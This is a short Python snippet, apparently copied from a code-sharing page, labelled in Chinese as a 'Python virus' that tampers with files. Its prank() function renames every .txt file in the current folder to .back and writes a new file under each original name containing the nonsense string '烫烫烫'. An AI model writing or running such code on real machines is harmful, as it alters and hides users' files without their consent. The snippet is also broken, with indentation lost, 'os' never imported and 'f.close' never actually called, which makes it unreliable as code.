import shutil |
# python病毒,请谨慎运行 |
def prank(): |
source = os.listdir( "." ) |
for i in source: |
if i.endswith( ".txt" ): |
shutil.move(i, i + ".back" ) |
f = open (i, "w" ) |
f.write( "烫烫烫" ) |
f.close |
else : |
continue |
''' |
调用prank()函数,将当前文件夹中的所有.txt尾缀文件重命名为xxx.txt.back,并将文件内容全部更改为“烫烫烫” |
''' |